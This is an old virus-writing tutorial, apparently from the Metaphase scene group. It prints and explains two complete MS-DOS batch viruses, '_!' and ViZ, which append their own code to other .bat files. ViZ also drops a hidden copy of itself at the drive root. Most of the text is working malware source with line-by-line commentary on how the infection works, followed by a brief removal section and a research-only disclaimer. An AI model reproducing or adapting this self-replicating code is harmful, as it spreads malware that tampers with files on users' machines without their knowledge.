Batch Virii
Knowdeth / Metaphase

Utils you will need:

A text editor of some sort.
A working knollage of MS-DOS

About batch virii:

Batch is a language created and used in MS-DOS. They are created by simple text editors, ie Edit.com or Notepad.exe. Most batch virii use very simple means of copying and spreding. They will just append their code at the end of other *.bat in the hopes they will be ran. Like many HLL's you can use very "Structured programming" in the form of subs and loops with if lines for all error handling, much like Qbasic.

Advanced batch virii can also rename a binary then copy itself to a batch with the same name. They may use machine code to drop or hide payloads such as *.com files thru debugger, and may also use ansi bombs as a destructive payload. Makeing the the "trojan" able to reproduce itself. I do -NOT- agree at all with destructive payloads in virii, and you will not see them in this paper!

The Code:

================================"_!" by Wavefunc================================
      @ctty nul._!
      for %%a in (*.bat ..\*.bat) do set _!=%%a
      find "_!"<%_!%
      if errorlevel 1 find "_!"<%0.BAT>>%_!%
      ctty con._!

================================================================================

This is a *very* simple batch virus appender

@    - when this in position 1 in front of the command, @ prevents the command
       from being echoed to the console, even if echo is on.
ctty - changes terminal device used by the computer
nul  - sends the output of the file to nowhere
%%a  - scan for batches and for each one found call program in the variable
       then the name of the batch to check (%%a). 
find - check to see if the virus is present in target
if errorlevel 1 - branch "if" there, get the next filename
>>   - appends the output to the end of a file

Now for somthing more advanced.

  
===================================ViZ by -KD-==================================
    :: [ViZ] by -KD- of Metaphase
    @echo off%_ViZ%
    if '%1=='ViZ goto ViZ%2
    if exist c:\_ViZ.bat goto ViZstart
    if not exist %0.bat goto ViZexit
    find "ViZ"<%0.bat>c:\_ViZ.bat
    attrib c:\_ViZ.bat +h
    :ViZstart
    if '%!ViZ%=='- goto ViZexit
    set !ViZ=%!ViZ%-
    command /e:5000 /c c:\_ViZ ViZ v
    :DaViZ
    goto ViZexit
    :ViZv
    for %%a in (*.bat) do call c:\_ViZ ViZ inf %%a 
    exit ViZ
    :ViZ_inf
    find "ViZ"<%3>nul
    if not errorlevel 1 goto ViZlevel
    type c:\_ViZ.bat>>%3
    exit ViZ
    :ViZlevel
    set ViZ!=%ViZ!%-
    if %ViZ!%==- exit 
    :ViZexit

================================================================================

This is a appender that makes one run per session. It looks for and infects one batch per run in the current dir only.

::      - a REM line
@       - when this in position 1 in front of the command, @ prevents the
          command from being echoed to the console, even if echo is on.
if 1%   - branches if 1st parm
if exist- branches if file is there
if not exist - branches if not there
find    - check to see if the virus is present in target
attrib  - hide our virus
set     - set the variables
command - do the command
for a%% - look for variables in batch
nul     - sends the output of the file to nowhere
type    - appends the file
exit    - anything can be after the "exit", but its nice to 
          name the exit :-)
ViZexit - your all done

Removal of batch virii:

Batch virii work by adding code to the beginning and/or the end of the infected .bat files. All infected code can be removed by loading the infected .bat in to a text editor and removing the added lines. Some may use a hidden copy of themselves in root and/or other dir's.

The command DIR /AH /S shows ALL hidden files on a drive. You will then need to use attrib *.bat -s -r -h then use del *.bat, with "*.bat" as the virus name.

This my FIRST attempt at a tutorial. If you like it or have and comments I can be reached at #virus on undernet. This is also in a way here to help wordbasic/VBA writers. Because to be good at macros you must be good at batch. P.S. HLL is not dead!

(C)Knowdeth
You may distribute this paper freely, without any changes or modifications. It cannot be used for any comercial purpose without my permission.
The use of this code is ONLY for research and learning purposes and may NOT be used to cause harm to any computer system.